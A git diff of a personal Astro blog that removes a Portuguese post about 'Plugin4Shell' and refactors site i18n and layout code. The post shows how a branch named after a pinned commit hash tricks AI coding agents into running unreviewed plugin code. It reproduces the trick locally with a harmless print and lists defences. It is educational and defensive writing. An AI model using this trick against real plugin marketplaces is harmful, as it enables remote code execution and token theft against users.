Lembra que eu disse que queria ser o cara que ajudaria alguém algum dia? Esse post é um pouco disso. Se você está pensando em começar, *comece*. Faça num ambiente onde não tenha medo de errar, leia os logs, pesquise antes de rodar qualquer comando e, principalmente, não desanime quando precisar pedir ajuda. Eu precisei, e foi aí que eu mais aprendi.
E se algo der muito errado, bom, todo mundo precisa de um Enéas de vez em quando. Fico à disposição.

View file

@ -1,10 +1,8 @@
---
title: "A mudança na cápsula do tempo do Spotify e a bostificação do software"
description: "Spotify simplesmente removeu uma das suas melhores funcionalidades. Além de reclamar um pouco, quero abrir um debate sobre o que os softwares estão se tornando."
slug: "spotify-complaining"
pubDate: 2026-09-2
tags: ["software", "life"]
language: "pt"
---
import ObservationCard from '../../../components/ObservationCard.tsx'

View file

@ -1,230 +0,0 @@
---
title: "Entendendo o Plugin4Shell: um exploit que usa um truque simples do git para enganar agentes de IA de programação"
description: "Uma branch do git com o nome de um hash de commit bastou para fazer agentes de IA de programação rodarem plugins não verificados. Reproduzi o truque do Plugin4Shell no GitHub e no Forgejo."
slug: "understanding-plugin4shell-git-trick-ai-coding-agents"
pubDate: 2026-09-28
tags: ["cybersecurity", "git", "ai", "software"]
seoKeywords: "Plugin4Shell, branch do git com nome de hash de commit, bypass de SHA pinning, segurança de agentes de IA de programação, vulnerabilidade de plugin do Claude Code, ataque à cadeia de suprimentos, internals do git, Forgejo"
language: "pt"
---
Este post é baseado [no texto da Ana Maria Constantin no TheNextWeb](https://thenextweb.com/news/plugin4shell-ai-coding-agents-zero-click-rce-sha-pinning) e [no relatório da Air Security](https://www.air.security/blog-posts/plugin4shell).
Agentes de IA de programação como o Claude Code e o Codex instalam plugins dos seus marketplaces. Sabendo que atacantes poderiam usar plugins para distribuir código malicioso, as empresas de IA adotaram uma medida de segurança simples: travaram os plugins numa versão que tinha sido revisada e aprovada. Mas e se alguém conseguisse burlar essa trava? Foi *exatamente* isso que aconteceu.
Pesquisadores da Air Security descobriram uma vulnerabilidade que batizaram de [Plugin4Shell](https://www.air.security/blog-posts/plugin4shell), que explorava a forma como os agentes verificavam os plugins. Com um truque simples de git, eles conseguiram fazer o agente baixar e rodar código não verificado. Isso significa **execução remota de código (RCE)**, roubo de tokens ou qualquer coisa que um código malicioso possa fazer.
A Anthropic corrigiu isso no **Claude Code 2.1.179**, e a OpenAI, no **Codex 0.146.0**. De qualquer forma, como estudante de Ciência da Computação, acho que essa é uma ótima oportunidade pra aprender sobre git, ataques à cadeia de suprimentos e cibersegurança em geral. Então, bora lá!
## O cenário
A defesa da indústria contra plugins maliciosos era *fixar* (o famoso *pinning*) cada plugin num commit específico. Esse commit tinha sido revisado e aprovado, então era considerado seguro. O hash de um commit é um SHA-1 do conteúdo e do histórico do commit, ou seja, ele é endereçado por conteúdo e *imutável*. Mas existe um problema no próprio git. **Branches e tags são só etiquetas com nome, que podem ser movidas.** Interessante...
O hash do commit é uma string de 40 caracteres. E se existir uma branch com o mesmo nome de um hash de commit? Alguns comandos do git, como `checkout` e `clone --branch`, **preferem a branch**.
Foi isso que eles usaram pra enganar o agente e fazer ele baixar e rodar código não verificado!
## O ataque, passo a passo
O ataque seguia estes passos:
1. Os atacantes criam um plugin completamente seguro, sem exploits e sem código malicioso. Vamos supor que o hash desse commit seja `xxxx`.
2. Eles conseguem a aprovação do marketplace, e o plugin fica fixado no commit `xxxx`.
3. Os usuários começam a baixar e usar o plugin.
4. Eles publicam código malicioso numa branch separada, chamada `xxxx`.
5. Os agentes atualizam o plugin em segundo plano, **sem precisar de nenhuma interação do usuário**.
6. Em vez do commit fixado, o git escolhe o último commit da branch com o mesmo nome.
7. O código malicioso é executado e, simples assim, os usuários são hackeados.
## Como isso funciona?
Vamos testar esse truque por conta própria num repositório git local. Primeiro, criamos o repo e fazemos um commit limpo pra passar pela verificação:
```sh
git init demo && cd demo
echo "print('safe plugin')" > plugin.py
git add . && git commit -m "safe version"
```
Agora, vamos rodar `git log` pra pegar o hash do commit.
```
commit 290b9e171e7b6facfe1e244a22c7152b31b6c290 (HEAD -> main)
Author: Gabriel Franco <gabe@example.com>
Date: Mon Sep 28 09:10:09 2026 -0300
safe version
```
Aí está! `290b9e171e7b6facfe1e244a22c7152b31b6c290` é o nosso hash de commit. Agora, vamos criar a branch do mal:
```sh
git switch -c evil
echo "print('you got HACKED')" > plugin.py
git commit -am "evil version"
```
Mas o nome da branch ainda é `evil`. Na real, isso soa bem suspeito. Vamos trocar pelo nosso hash de commit.
```sh
git branch -m 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
Isso renomeou a branch, então o nome dela agora é exatamente o hash do commit seguro e verificado. Agora, vamos voltar pra branch main com `git switch -` e tentar acessar nosso commit seguro com `git checkout`:
```sh
git checkout 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
O git até me deu um aviso:
```
warning: refname '290b9e171e7b6facfe1e244a22c7152b31b6c290' is ambiguous.
Git normally never creates a ref that ends with 40 hex characters
because it will be ignored when you just specify 40-hex. These refs
may be created by mistake. For example,
git switch -c $br $(git rev-parse ...)
where "$br" is somehow empty and a 40-hex ref is created. Please
examine these refs and maybe delete them. Turn this message off by
running "git config set advice.objectNameWarning false"
Switched to branch '290b9e171e7b6facfe1e244a22c7152b31b6c290'
```
Isso é bom. Mas o aviso provavelmente passa batido pelo agente, que não espera nenhuma saída do `checkout`, desde que o status de saída seja 0.
Vamos conferir o conteúdo do `plugin.py`:
```python
print('you got HACKED')
```
Ops... Parece que fomos HACKEADOS!
## Mas as plataformas de git conseguem corrigir isso?
Pelo visto, o GitHub já corrigiu. Não achei nenhuma fonte que confirme quando essa mudança foi feita, mas vamos testar por conta própria. Criei um repositório privado no GitHub e voltei pro terminal:
```sh
git switch main
git remote add origin git@github.com:gabeefranco/demo-trick.git
git push -u origin main
```
Bom, a branch `main` sobe sem problema:
```
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To github.com:gabeefranco/demo-trick.git
* [new branch] main -> main
branch 'main' set up to track 'origin/main'.
```
Agora, vamos ver o que acontece com a nossa branch batizada com o hash do commit:
```sh
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
Como dá pra ver, o GitHub rejeita:
```
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote: error: GH002: Sorry, branch or tag names consisting of 40 or 64 hex characters are not allowed.
remote: error: Invalid branch or tag name "290b9e171e7b6facfe1e244a22c7152b31b6c290"
To github.com:gabeefranco/demo-trick.git
! [remote rejected] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290 (pre-receive hook declined)
error: failed to push some refs to 'github.com:gabeefranco/demo-trick.git'
```
Isso é muito bom! Palmas pro GitHub e pra todo o slop da Microsoft. *Dessa vez* eles me surpreenderam!
### E as outras plataformas?
Nos marketplaces de plugins de IA, os repositórios git podem estar hospedados em qualquer plataforma, inclusive numa instância self-hosted do Forgejo, por exemplo. O [Forgejo](https://forgejo.org/) é um fork do [Gitea](https://about.gitea.com/), e permite hospedar nossos próprios projetos git no estilo do GitHub, só que 100% open-source. É um bom software open-source, e um dia ainda escrevo um post sobre ele. Minha versão do Forgejo é a `9.0.3+gitea-1.22.0`, como dá pra conferir com `curl -s https://git.gabeefran.co/api/v1/version`. Lembre que o comportamento que eu mostro aqui pode mudar numa versão futura.
Na minha própria instância, vamos testar a nomeação de branches. Depois de criar um repositório (dessa vez, vou deixar ele público), rodei:
```sh
git remote remove origin
git remote add origin git@git.gabeefran.co:gabeefranco/git-trick.git
git push -u origin main
```
De novo, a `main` sobe normalmente:
```
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Writing objects: 100% (3/3), 236 bytes | 236.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To git.gabeefran.co:gabeefranco/git-trick.git
* [new branch] main -> main
branch 'main' set up to track 'origin/main'.
```
Mas a `main` é a que o marketplace verificou. Vamos testar nossa branch do mal:
```sh
git push -u origin 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
Infelizmente, o Forgejo **não implementa a mesma correção**:
```
Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
Writing objects: 100% (3/3), 269 bytes | 269.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote:
remote: Create a new pull request for '290b9e171e7b6facfe1e244a22c7152b31b6c290':
remote: https://git.gabeefran.co/gabeefranco/git-trick/compare/main...290b9e171e7b6facfe1e244a22c7152b31b6c290
remote:
To git.gabeefran.co:gabeefranco/git-trick.git
* [new branch] 290b9e171e7b6facfe1e244a22c7152b31b6c290 -> 290b9e171e7b6facfe1e244a22c7152b31b6c290
branch '290b9e171e7b6facfe1e244a22c7152b31b6c290' set up to track 'origin/290b9e171e7b6facfe1e244a22c7152b31b6c290'.
```
Vou deixar esse repositório público. Dá pra conferir [aqui](https://git.gabeefran.co/gabeefranco/git-trick). Só note que os hashes de commit lá são diferentes, porque eu tive que editar os deste post pra manter a consistência do texto.
## Como se defender
Antes de tudo: se você usa o Claude Code ou o Codex, atualize. Qualquer versão a partir do **Claude Code 2.1.179** e do **Codex 0.146.0** já tem a correção.
Mas e se você estiver escrevendo uma ferramenta que fixa commits do git, do mesmo jeito que os agentes fazem? Minha primeira ideia foi `git checkout --detach`, já que ele deveria tratar o argumento como um commit, e não como uma branch. Testei no mesmo repo de demonstração:
```sh
git checkout --detach 290b9e171e7b6facfe1e244a22c7152b31b6c290
```
E o `plugin.py` continuou dizendo `you got HACKED`. Nem o `--detach` salva a gente aqui! O que funciona de verdade é adicionar `^{commit}` ao final do hash, o que força o git a resolvê-lo como um objeto commit:
```sh
git checkout --detach "290b9e171e7b6facfe1e244a22c7152b31b6c290^{commit}"
```
Dessa vez, o `safe plugin` voltou. Mesmo assim, não confie cegamente na resolução. **Depois do checkout, sempre verifique se o `HEAD` é exatamente o hash fixado**, e aborte se não for:
```sh
PIN=290b9e171e7b6facfe1e244a22c7152b31b6c290
[ "$(git rev-parse HEAD)" = "$PIN" ] || { echo "HEAD doesn't match the pin, aborting!"; exit 1; }
```
É uma linha de shell, e teria barrado esse ataque. Se os agentes fizessem isso, a branch do mal seria inútil.
E se você hospeda seus próprios projetos git, como eu, dá pra fazer o mesmo que o GitHub e rejeitar nomes de branch e de tag formados por 40 ou 64 caracteres hexadecimais com um hook de pre-receive. Não existe nenhum motivo legítimo pra uma branch parecer um hash de commit, de qualquer forma.
## Concluindo
O problema principal era que os agentes pediam ao git o commit fixado, mas nunca verificavam se o que recebiam de volta batia de fato com aquele hash. Fixar commits pelo SHA é a recomendação padrão contra ataques à cadeia de suprimentos. O Plugin4Shell mostra que **fixar um commit só adianta se você _resolver_ essa fixação do jeito certo**.
Estudando esse caso, aprendemos muito sobre ataques à cadeia de suprimentos, internals do git e a cibersegurança envolvida no cenário dos agentes de IA. Todo o crédito pra [Air Security](https://www.air.security/) por pesquisar esse tema e descobrir essa vulnerabilidade.
Me diverti muito escrevendo este post, espero que tenham gostado!

View file

@ -1,34 +1,16 @@
---
import { existsSync } from 'node:fs';
import { Font } from 'astro:assets';
import '../styles/global.css';
import Header from '../components/Header.astro';
import Footer from '../components/Footer.astro';
import { HREFLANGS, localizedAlternates, type Lang } from '../lib/i18n';
import type { Lang } from '../lib/i18n';
interface Props {
title: string;
description: string;
lang: Lang;
/**
* Path under public/ for the OG image, e.g. /social-cards/en/hello-world.png.
* Cards are generated by scripts/generate-social-cards.ts; until one exists
* on disk we fall back to the logo.
*/
image?: string;
/** Keep the page out of search engines (used for draft posts). */
noindex?: boolean;
/**
* This page in each language it exists in, for hreflang links and the
* language switcher. Defaults to the same path under every language; pages
* whose URL differs per language (posts) or that may be missing in some
* language (posts, tags) pass their own.
*/
alternates?: Partial<Record<Lang, string>>;
}
const { title, description, lang, noindex, alternates = localizedAlternates(Astro.url.pathname) } = Astro.props;
const image = Astro.props.image && existsSync(`public${Astro.props.image}`) ? Astro.props.image : '/logo.png';
const { title, description, lang } = Astro.props;
const canonicalURL = new URL(Astro.url.pathname, Astro.site);
---
@ -41,44 +23,26 @@ const canonicalURL = new URL(Astro.url.pathname, Astro.site);
<link rel="alternate icon" href="/favicon.ico" />
<link rel="apple-touch-icon" href="/apple-touch-icon.png" />
<link rel="canonical" href={canonicalURL} />
{Object.entries(alternates).map(([altLang, path]) => (
<link rel="alternate" hreflang={HREFLANGS[altLang as Lang]} href={new URL(path, Astro.site)} />
))}
<link rel="alternate" hreflang="x-default" href="https://gabeefran.co/" />
<link rel="alternate" hreflang="en" href={new URL(Astro.url.pathname.replace(/^\/pt/, '') || '/', Astro.site)} />
<link rel="alternate" hreflang="pt-BR" href={new URL(`/pt${Astro.url.pathname.replace(/^\/pt/, '')}`, Astro.site)} />
<meta name="generator" content={Astro.generator} />
<link rel="sitemap" href="/sitemap-index.xml" />
<title>{title}</title>
<meta name="description" content={description} />
{noindex && <meta name="robots" content="noindex" />}
<meta property="og:type" content="website" />
<meta property="og:site_name" content="Gabriel Franco's notes" />
<meta property="og:title" content={title} />
<meta property="og:description" content={description} />
<meta property="og:url" content={canonicalURL} />
<meta property="og:image" content={new URL(image, Astro.site)} />
{image.startsWith('/social-cards/') && (
<>
<meta property="og:image:width" content="1200" />
<meta property="og:image:height" content="630" />
</>
)}
<meta property="og:image" content={new URL('/logo.png', Astro.site)} />
<meta name="twitter:card" content="summary_large_image" />
<meta name="twitter:title" content={title} />
<meta name="twitter:description" content={description} />
<meta name="twitter:image" content={new URL(image, Astro.site)} />
<Font cssVariable="--font-iawriter" preload />
<script
is:inline
defer
src="https://stats.gabeefran.co/gabest.js"
data-website-id="d8448824-f620-48e0-98ab-c0ea596dc17d"
data-domains="gabeefran.co"
></script>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,400..700;1,400..700&family=JetBrains+Mono:wght@400;500;600&display=swap"
rel="stylesheet"
/>
<script is:inline>
// Runs before paint to avoid a flash of the wrong theme.
@ -91,7 +55,7 @@ const canonicalURL = new URL(Astro.url.pathname, Astro.site);
</script>
</head>
<body class="flex min-h-screen flex-col bg-bg font-sans text-text antialiased selection:bg-primary selection:text-white">
<Header lang={lang} alternates={alternates} />
<Header lang={lang} />
<main class="flex-1">
<slot />
</main>

View file

@ -15,7 +15,7 @@ const postsHref = getLocalizedPath('/posts', lang);
const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
---
<article class="mx-10 my-10 font-prose">
<article class="mx-10 mt-10 font-mono">
<a href={postsHref} class="underline inline-flex items-center gap-1.5 text-sm font-medium text-text-muted hover:text-primary">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="size-4">
<path d="M15 18l-6-6 6-6"></path>
@ -35,7 +35,7 @@ const tagsHref = (tag: string) => getLocalizedPath(`/tags/${tag}`, lang);
</>
)}
</div>
<h1 class="mt-3 text-3xl leading-11 font-bold tracking-tight text-text sm:text-4xl">{post.data.title}</h1>
<h1 class="mt-3 text-3xl font-bold tracking-tight text-text sm:text-4xl">{post.data.title}</h1>
<p class="mt-3 text-lg text-text-muted">{post.data.description}</p>
{post.data.tags.length > 0 && (
<div class="mt-4 flex flex-wrap gap-2">

View file

@ -1,21 +0,0 @@
import { getEntry, type CollectionEntry } from 'astro:content';
import { LANGS, type Lang } from './i18n';
export type AboutEntry = CollectionEntry<'about'>;
/** The id is the language (see src/content.config.ts). */
export async function getAbout(lang: Lang): Promise<AboutEntry> {
const entry = await getEntry('about', lang);
if (!entry) throw new Error(`Missing src/content/about/${lang}.mdx`);
return entry;
}
/** Every language has its own slug for the about page (/en/about, /pt/sobre). */
export async function aboutPath(lang: Lang): Promise<string> {
return `/${lang}/${(await getAbout(lang)).data.slug}`;
}
export async function getAboutAlternates(): Promise<Record<Lang, string>> {
const paths = await Promise.all(LANGS.map(async (lang) => [lang, await aboutPath(lang)] as const));
return Object.fromEntries(paths) as Record<Lang, string>;
}

View file

@ -1,6 +1,3 @@
// Every localized string on the site lives here. Keep this file free of
// runtime imports: scripts/generate-social-cards.ts loads it directly with Node.
export const LANGS = ['en', 'pt'] as const;
export type Lang = (typeof LANGS)[number];
export const DEFAULT_LANG: Lang = 'en';
@ -10,15 +7,6 @@ export const LANG_LABELS: Record<Lang, string> = {
pt: 'Português',
};
/** hreflang values for <link rel="alternate">. */
export const HREFLANGS: Record<Lang, string> = {
en: 'en',
pt: 'pt-BR',
};
export const SUPPORTED = ["pt", "en"] as const;
export const DEFAULT = "en";
export const ui = {
en: {
'site.name': 'gabeefranco',
@ -28,20 +16,17 @@ export const ui = {
'nav.menu': 'Menu',
'lang.switch': 'Switch language',
'theme.switch': 'Toggle color theme',
'hero.kicker': "Computer Science in real life.",
'hero.kicker': "Gabriel Franco's notes",
'hero.title': 'Building things, and figuring out how they work.',
'hero.subtitle':
"Notes on computer science, systems, and the open source projects that shaped how I think about software. I'm Gabriel Franco — welcome.",
'hero.cta.posts': 'Read the posts',
'hero.cta.about': 'About me',
'home.description':
'Notes on computer science, systems, and the open source projects that shaped how I think about software.',
'home.recent': 'Recent posts',
'home.recent.subtitle': 'The latest things I’ve written down.',
'home.viewAll': 'View all posts',
'posts.title': 'All posts',
'posts.subtitle': 'Everything I’ve written, oldest to newest below, newest on top.',
'posts.description': 'Everything I’ve written about computer science, systems, and open source, newest first.',
'posts.empty': 'No posts yet. Check back soon.',
'posts.filteredBy': 'Posts tagged',
'posts.clearFilter': 'Clear filter',
@ -50,12 +35,10 @@ export const ui = {
'post.readingTime': 'min read',
'post.updated': 'Updated',
'tag.label': 'Tag',
'tag.description': 'Everything I’ve written tagged #{tag}.',
'about.title': 'About',
'footer.tagline': 'Written by hand in Porto Alegre.',
'footer.rights': 'All rights reserved.',
'footer.source': 'Source',
'feed.title': 'gabeefran.co',
'feed.description': "Gabriel Franco's notes about computer science and other topics",
'404.title': 'Page not found',
'404.body': 'There’s nothing here. Let’s get you back home.',
'404.cta': 'Back to home',
@ -68,21 +51,17 @@ export const ui = {
'nav.menu': 'Menu',
'lang.switch': 'Mudar idioma',
'theme.switch': 'Alternar tema',
'hero.kicker': 'Ciência da Computação na vida real',
'hero.kicker': 'Anotações do Gabriel Franco',
'hero.title': 'Construindo coisas e entendendo como elas funcionam.',
'hero.subtitle':
'Notas sobre ciência da computação, sistemas e os projetos open source que moldaram a forma como penso sobre software. Eu sou o Gabriel Franco — seja bem-vindo.',
'hero.cta.posts': 'Ler os posts',
'hero.cta.about': 'Sobre mim',
'home.description':
'Notas sobre ciência da computação, sistemas e os projetos open source que moldaram a forma como penso sobre software.',
'home.recent': 'Posts recentes',
'home.recent.subtitle': 'As últimas coisas que escrevi.',
'home.viewAll': 'Ver todos os posts',
'posts.title': 'Todos os posts',
'posts.subtitle': 'Tudo que já escrevi, do mais recente para o mais antigo.',
'posts.description':
'Tudo que já escrevi sobre ciência da computação, sistemas e open source, do mais recente ao mais antigo.',
'posts.empty': 'Ainda não há posts. Volte em breve.',
'posts.filteredBy': 'Posts com a tag',
'posts.clearFilter': 'Limpar filtro',
@ -91,12 +70,10 @@ export const ui = {
'post.readingTime': 'min de leitura',
'post.updated': 'Atualizado em',
'tag.label': 'Tag',
'tag.description': 'Tudo que já escrevi com a tag #{tag}.',
'about.title': 'Sobre',
'footer.tagline': 'Escrito à mão em Porto Alegre.',
'footer.rights': 'Todos os direitos reservados.',
'footer.source': 'Código-fonte',
'feed.title': 'gabeefran.co',
'feed.description': 'Anotações do Gabriel Franco sobre ciência da computação e outros assuntos',
'404.title': 'Página não encontrada',
'404.body': 'Não há nada aqui. Vamos te levar de volta para o início.',
'404.cta': 'Voltar para o início',
@ -105,81 +82,30 @@ export const ui = {
export type UiKey = keyof (typeof ui)['en'];
export function isLang(value: string | undefined): value is Lang {
return LANGS.some((lang) => lang === value);
export function getLangFromUrl(url: URL): Lang {
const [, first] = url.pathname.split('/');
return first === 'pt' ? 'pt' : DEFAULT_LANG;
}
/** getStaticPaths() result for pages that only vary by language. */
export function langPaths() {
return LANGS.map((lang) => ({ params: { lang } }));
}
/** `{name}` placeholders in a string are replaced with `vars[name]`. */
export function useTranslations(lang: Lang) {
return function t(key: UiKey, vars: Record<string, string> = {}): string {
const template: string = ui[lang][key] ?? ui[DEFAULT_LANG][key];
return template.replace(/\{(\w+)\}/g, (placeholder, name: string) => vars[name] ?? placeholder);
return function t(key: UiKey): string {
return ui[lang][key] ?? ui[DEFAULT_LANG][key];
};
}
/**
* Pages with their own title/description (tag pages use tagPageMeta). The about
* page's live in src/content/about/<lang>.mdx.
*/
export type PageKey = 'home' | 'posts' | '404';
export interface PageMeta {
title: string;
description: string;
}
const PAGE_META_KEYS: Record<PageKey, { title: UiKey; description: UiKey }> = {
home: { title: 'hero.title', description: 'home.description' },
posts: { title: 'posts.title', description: 'posts.description' },
'404': { title: '404.title', description: '404.body' },
};
export function pageMeta(lang: Lang, page: PageKey): PageMeta {
const t = useTranslations(lang);
const keys = PAGE_META_KEYS[page];
return { title: t(keys.title), description: t(keys.description) };
}
export function tagPageMeta(lang: Lang, tag: string): PageMeta {
return { title: `#${tag}`, description: useTranslations(lang)('tag.description', { tag }) };
/** Prefix-strip the given pathname down to its language-agnostic form. */
export function stripLangPrefix(pathname: string): string {
return pathname.replace(/^\/pt(?=\/|$)/, '') || '/';
}
/** Given any pathname, build the equivalent path in the target language. */
export function getLocalizedPath(pathname: string, lang: Lang): string {
const [, first] = pathname.split('/');
const stripped = (isLang(first) ? pathname.slice(first.length + 1) : pathname) || '/';
return stripped === '/' ? `/${lang}` : `/${lang}${stripped}`;
const stripped = stripLangPrefix(pathname);
if (lang === DEFAULT_LANG) return stripped;
return stripped === '/' ? '/pt' : `/pt${stripped}`;
}
/** Every language has its own slug for a post, so post URLs aren't derivable from each other. */
export function postPath(lang: Lang, slug: string): string {
return `/${lang}/posts/${slug}`;
}
/** Path of the same page in each language, for pages that exist in every language. */
export function localizedAlternates(pathname: string): Record<Lang, string> {
return Object.fromEntries(LANGS.map((lang) => [lang, getLocalizedPath(pathname, lang)])) as Record<Lang, string>;
}
export function pickLocale(header: string | null): string {
if (!header) return DEFAULT;
// "pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7" -> [{tag:"pt", q:1}, ...]
const prefs = header
.split(",")
.map((part) => {
const [tag, ...params] = part.trim().split(";");
const qParam = params.find((p) => p.trim().startsWith("q="));
const q = qParam ? parseFloat(qParam.split("=")[1]) : 1;
return { lang: tag.toLowerCase().split("-")[0], q: isNaN(q) ? 0 : q };
})
.filter((p) => p.q > 0)
.sort((a, b) => b.q - a.q);
return prefs.find((p) => (SUPPORTED as readonly string[]).includes(p.lang))?.lang ?? DEFAULT;
export function localizeHref(path: string, lang: Lang): string {
if (lang === DEFAULT_LANG) return path;
return path === '/' ? '/pt' : `/pt${path}`;
}

View file

@ -1,71 +0,0 @@
// Reads post frontmatter straight from disk, for code that runs outside
// content collections: astro.config.mjs (before collections exist) and
// scripts/generate-social-cards.ts (plain Node). Keep this file free of Astro
// imports and use explicit .ts extensions so Node can load it directly.
import { existsSync, readdirSync, readFileSync } from 'node:fs';
import { join } from 'node:path';
import { LANGS, type Lang } from './i18n.ts';
const POSTS_DIR = 'src/content/posts';
export interface PostFile {
lang: Lang;
slug: string;
title: string;
description?: string;
tags: string[];
draft: boolean;
}
function getFrontmatterField(content: string, field: string): string | null {
const match = content.match(new RegExp(`^${field}:\\s*"?([^"\\n]+)"?`, 'm'));
return match ? match[1].trim() : null;
}
/** Reads an inline tag list, e.g. `tags: ["meta", "blogging"]`. */
function getFrontmatterTags(content: string): string[] {
const list = content.match(/^tags:\s*\[([^\]]*)\]/m)?.[1] ?? '';
return [...list.matchAll(/["']([^"']+)["']/g)].map((m) => m[1]);
}
/** Posts live at src/content/posts/<lang>/<file>.mdx (see src/content.config.ts). */
export function readPostFiles(): PostFile[] {
return LANGS.flatMap((lang) => {
const dir = join(POSTS_DIR, lang);
if (!existsSync(dir)) return [];
return readdirSync(dir)
.filter((file) => file.endsWith('.mdx'))
.map((file) => {
const raw = readFileSync(join(dir, file), 'utf-8');
const slug = getFrontmatterField(raw, 'slug');
if (!slug) throw new Error(`${join(dir, file)} is missing a \`slug\` in its frontmatter`);
return {
lang,
slug,
title: getFrontmatterField(raw, 'title') ?? slug,
description: getFrontmatterField(raw, 'description') ?? undefined,
tags: getFrontmatterTags(raw),
draft: getFrontmatterField(raw, 'draft') === 'true',
};
});
});
}
export interface AboutFile {
lang: Lang;
slug: string;
title: string;
description: string;
}
/** The about page lives at src/content/about/<lang>.mdx (see src/content.config.ts). */
export function readAboutFiles(): AboutFile[] {
return LANGS.flatMap((lang) => {
const file = join('src/content/about', `${lang}.mdx`);
if (!existsSync(file)) return [];
const raw = readFileSync(file, 'utf-8');
const slug = getFrontmatterField(raw, 'slug');
if (!slug) throw new Error(`${file} is missing a \`slug\` in its frontmatter`);
return [{ lang, slug, title: getFrontmatterField(raw, 'title') ?? slug, description: getFrontmatterField(raw, 'description') ?? '' }];
});
}

View file

@ -1,42 +1,27 @@
import { getCollection, type CollectionEntry } from 'astro:content';
import { getLocalizedPath, LANGS, postPath, type Lang } from './i18n';
import type { Lang } from './i18n';
export type PostEntry = CollectionEntry<'posts'>;
/** The id is "<lang>/<file>" (see src/content.config.ts). */
/** The id is "<lang>/<slug>" (see src/content.config.ts). */
export function langOf(entry: PostEntry): Lang {
return entry.id.split('/')[0] as Lang;
}
/** Shared by a post and its translations: the filename without the language folder. */
function translationKeyOf(entry: PostEntry): string {
return entry.id.slice(entry.id.indexOf('/') + 1);
export function slugOf(entry: PostEntry): string {
return entry.id.split('/').slice(1).join('/');
}
export function postHref(entry: PostEntry): string {
return postPath(langOf(entry), entry.data.slug);
}
/**
* Drafts are left out by default so they never show up in lists, tags or the
* feed. Pass `includeDrafts` to still build their pages (reachable by URL only).
*/
export async function getPostsByLang(lang: Lang, { includeDrafts = false } = {}): Promise<PostEntry[]> {
const posts = await getCollection('posts', (entry) => langOf(entry) === lang && (includeDrafts || !entry.data.draft));
export async function getPostsByLang(lang: Lang): Promise<PostEntry[]> {
const posts = await getCollection('posts', ({ id, data }) => {
return id.startsWith(`${lang}/`) && !data.draft;
});
return posts.sort((a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf());
}
/**
* URL of the post in every language it's translated to, itself included.
* Draft translations are only linked from other drafts.
*/
export async function getPostAlternates(entry: PostEntry): Promise<Partial<Record<Lang, string>>> {
const key = translationKeyOf(entry);
const translations = await getCollection(
'posts',
(other) => translationKeyOf(other) === key && (entry.data.draft || !other.data.draft),
);
return Object.fromEntries(translations.map((post) => [langOf(post), postHref(post)]));
export async function getPostBySlug(lang: Lang, slug: string): Promise<PostEntry | undefined> {
const posts = await getCollection('posts');
return posts.find((p) => p.id === `${lang}/${slug}`);
}
export async function getAllTags(lang: Lang): Promise<string[]> {
@ -48,14 +33,6 @@ export async function getAllTags(lang: Lang): Promise<string[]> {
return [...tags].sort((a, b) => a.localeCompare(b));
}
/** URL of the tag page in every language that has posts with that tag. */
export async function getTagAlternates(tag: string): Promise<Partial<Record<Lang, string>>> {
const tagsByLang = await Promise.all(LANGS.map(async (lang) => [lang, await getAllTags(lang)] as const));
return Object.fromEntries(
tagsByLang.filter(([, tags]) => tags.includes(tag)).map(([lang]) => [lang, getLocalizedPath(`/tags/${tag}`, lang)]),
);
}
const WORDS_PER_MINUTE = 200;
export function estimateReadingMinutes(body: string): number {

View file

@ -1,21 +0,0 @@
// Where generated OG cards live, relative to public/. Shared by the pages and
// by scripts/generate-social-cards.ts (so keep this file free of runtime
// imports: the script loads it directly with Node).
import type { Lang, PageKey } from './i18n';
export function postCardPath(lang: Lang, slug: string): string {
return `/social-cards/${lang}/${slug}.png`;
}
export function pageCardPath(lang: Lang, page: PageKey): string {
return `/social-cards/${lang}/pages/${page}.png`;
}
/** Named after the slug, like the page itself (/pt/sobre -> pt/pages/sobre.png). */
export function aboutCardPath(lang: Lang, slug: string): string {
return `/social-cards/${lang}/pages/${slug}.png`;
}
export function tagCardPath(lang: Lang, tag: string): string {
return `/social-cards/${lang}/tags/${tag}.png`;
}

View file

@ -1,24 +1,18 @@
---
import BaseLayout from '../layouts/BaseLayout.astro';
import { getLocalizedPath, LANGS, pageMeta, ui } from '../lib/i18n';
import { pageCardPath } from '../lib/social-cards';
import { getLocalizedPath, ui, type Lang } from '../lib/i18n';
// This file is prerendered once as a static /404.html and served by the host
// for any unmatched path, so we can't know at build time whether the visitor
// was under /pt/*. Render both languages and pick one at runtime with a tiny
// inline script based on the actual requested path.
const page = pageMeta('en', '404');
const langs: Lang[] = ['en', 'pt'];
---
<BaseLayout
title={`${page.title} — ${ui.en['site.name']}`}
description={page.description}
lang="en"
image={pageCardPath('en', '404')}
>
<BaseLayout title={`${ui.en['404.title']} — gabeefranco`} description={ui.en['404.body']} lang="en">
<section class="mx-10 flex flex-col items-start px-4 py-24 sm:px-6 font-mono">
<p class="font-mono text-sm text-primary">404</p>
{LANGS.map((lang) => (
{langs.map((lang) => (
<div data-notfound-lang={lang} class={lang === 'en' ? '' : 'hidden'}>
<h1 class="mt-2 text-3xl font-bold tracking-tight text-text">{ui[lang]['404.title']}</h1>
